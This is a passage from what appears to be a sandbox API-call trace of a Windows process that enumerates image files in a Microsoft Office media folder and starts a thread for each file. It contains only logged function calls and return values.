Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" [0155.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9432c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0 [0155.731] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0155.731] wcscmp (_String1="J0293828.WMF", _String2=".") returned 1 [0155.731] wcscmp (_String1="J0293828.WMF", _String2="..") returned 1 [0155.731] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943460 [0155.731] wcscpy (in: _Dest=0x943460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.731] wcscat (in: _Dest=0x943460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.731] wcscat (in: _Dest=0x943460, _Source="J0293828.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" [0155.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c [0155.733] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0155.733] wcscmp (_String1="J0293844.WMF", _String2=".") returned 1 [0155.733] wcscmp (_String1="J0293844.WMF", _String2="..") returned 1 [0155.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9434e8 [0155.733] wcscpy (in: _Dest=0x9434e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.733] wcscat (in: _Dest=0x9434e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.733] wcscat (in: _Dest=0x9434e8, _Source="J0293844.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" [0155.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9434e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1514 [0155.734] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0155.734] wcscmp (_String1="J0295241.GIF", _String2=".") returned 1 [0155.734] wcscmp (_String1="J0295241.GIF", _String2="..") returned 1 [0155.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943570 [0155.734] wcscpy (in: _Dest=0x943570, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.734] wcscat (in: _Dest=0x943570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.734] wcscat (in: _Dest=0x943570, _Source="J0295241.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" [0155.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518 [0155.735] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0155.735] wcscmp (_String1="J0297185.WMF", _String2=".") returned 1 [0155.735] wcscmp (_String1="J0297185.WMF", _String2="..") returned 1 [0155.735] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9435f8 [0155.735] wcscpy (in: _Dest=0x9435f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.735] wcscat (in: _Dest=0x9435f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.736] wcscat (in: _Dest=0x9435f8, _Source="J0297185.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" [0155.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9435f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x151c [0155.737] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0155.737] wcscmp (_String1="J0297551.WMF", _String2=".") returned 1 [0155.737] wcscmp (_String1="J0297551.WMF", _String2="..") returned 1 [0155.737] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943680 [0155.737] wcscpy (in: _Dest=0x943680, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.737] wcscat (in: _Dest=0x943680, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.737] wcscat (in: _Dest=0x943680, _Source="J0297551.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" [0155.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520 [0155.738] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0155.738] wcscmp (_String1="J0297707.WMF", _String2=".") returned 1 [0155.738] wcscmp (_String1="J0297707.WMF", _String2="..") returned 1 [0155.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943708 [0155.738] wcscpy (in: _Dest=0x943708, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.738] wcscat (in: _Dest=0x943708, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.738] wcscat (in: _Dest=0x943708, _Source="J0297707.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" [0155.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040 [0155.740] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0155.740] wcscmp (_String1="J0297749.WMF", _String2=".") returned 1 [0155.740] wcscmp (_String1="J0297749.WMF", _String2="..") returned 1 [0155.740] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943790 [0155.740] wcscpy (in: _Dest=0x943790, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.740] wcscat (in: _Dest=0x943790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.740] wcscat (in: _Dest=0x943790, _Source="J0297749.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" [0155.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524 [0155.741] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0156.307] wcscmp (_String1="J0298653.WMF", _String2=".") returned 1 [0156.307] wcscmp (_String1="J0298653.WMF", _String2="..") returned 1 [0156.307] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8b38 [0156.307] wcscpy (in: _Dest=0x8f8b38, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.307] wcscat (in: _Dest=0x8f8b38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.307] wcscat (in: _Dest=0x8f8b38, _Source="J0298653.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" [0156.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b4 [0156.839] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0156.839] wcscmp (_String1="J0298897.WMF", _String2=".") returned 1 [0156.839] wcscmp (_String1="J0298897.WMF", _String2="..") returned 1 [0156.839] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943350 [0156.839] wcscpy (in: _Dest=0x943350, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.839] wcscat (in: _Dest=0x943350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.840] wcscat (in: _Dest=0x943350, _Source="J0298897.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" [0156.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b8 [0156.841] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0156.841] wcscmp (_String1="J0299125.WMF", _String2=".") returned 1 [0156.841] wcscmp (_String1="J0299125.WMF", _String2="..") returned 1 [0156.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943240 [0156.841] wcscpy (in: _Dest=0x943240, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.841] wcscat (in: _Dest=0x943240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.841] wcscat (in: _Dest=0x943240, _Source="J0299125.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" [0156.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0 [0156.843] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0156.843] wcscmp (_String1="J0299171.WMF", _String2=".") returned 1 [0156.843] wcscmp (_String1="J0299171.WMF", _String2="..") returned 1 [0156.843] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943570 [0156.843] wcscpy (in: _Dest=0x943570, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.843] wcscat (in: _Dest=0x943570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.843] wcscat (in: _Dest=0x943570, _Source="J0299171.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" [0156.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1418 [0156.844] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0156.844] wcscmp (_String1="J0299587.WMF", _String2=".") returned 1 [0156.844] wcscmp (_String1="J0299587.WMF", _String2="..") returned 1 [0156.844] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9435f8 [0156.844] wcscpy (in: _Dest=0x9435f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.844] wcscat (in: _Dest=0x9435f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.844] wcscat (in: _Dest=0x9435f8, _Source="J0299587.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" [0156.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9435f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c [0156.845] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0156.845] wcscmp (_String1="J0299611.WMF", _String2=".") returned 1 [0156.845] wcscmp (_String1="J0299611.WMF", _String2="..") returned 1 [0156.845] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943680 [0156.845] wcscpy (in: _Dest=0x943680, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.845] wcscat (in: _Dest=0x943680, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.845] wcscat (in: _Dest=0x943680, _Source="J0299611.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" [0156.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420 [0156.846] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0156.846] wcscmp (_String1="J0299763.WMF", _String2=".") returned 1 [0156.846] wcscmp (_String1="J0299763.WMF", _String2="..") returned 1 [0156.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943708 [0156.846] wcscpy (in: _Dest=0x943708, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.846] wcscat (in: _Dest=0x943708, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.846] wcscat (in: _Dest=0x943708, _Source="J0299763.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" [0156.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0156.847] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0156.847] wcscmp (_String1="J0300520.GIF", _String2=".") returned 1 [0156.847] wcscmp (_String1="J0300520.GIF", _String2="..") returned 1 [0156.847] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943790 [0156.847] wcscpy (in: _Dest=0x943790, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.848] wcscat (in: _Dest=0x943790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.848] wcscat (in: _Dest=0x943790, _Source="J0300520.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" [0156.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0156.849] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0156.849] wcscmp (_String1="J0300840.WMF", _String2=".") returned 1 [0156.849] wcscmp (_String1="J0300840.WMF", _String2="..") returned 1 [0156.849] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942f98 [0156.849] wcscpy (in: _Dest=0x942f98, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.849] wcscat (in: _Dest=0x942f98, _Source="\\" | out: _Dest="C:\\Program 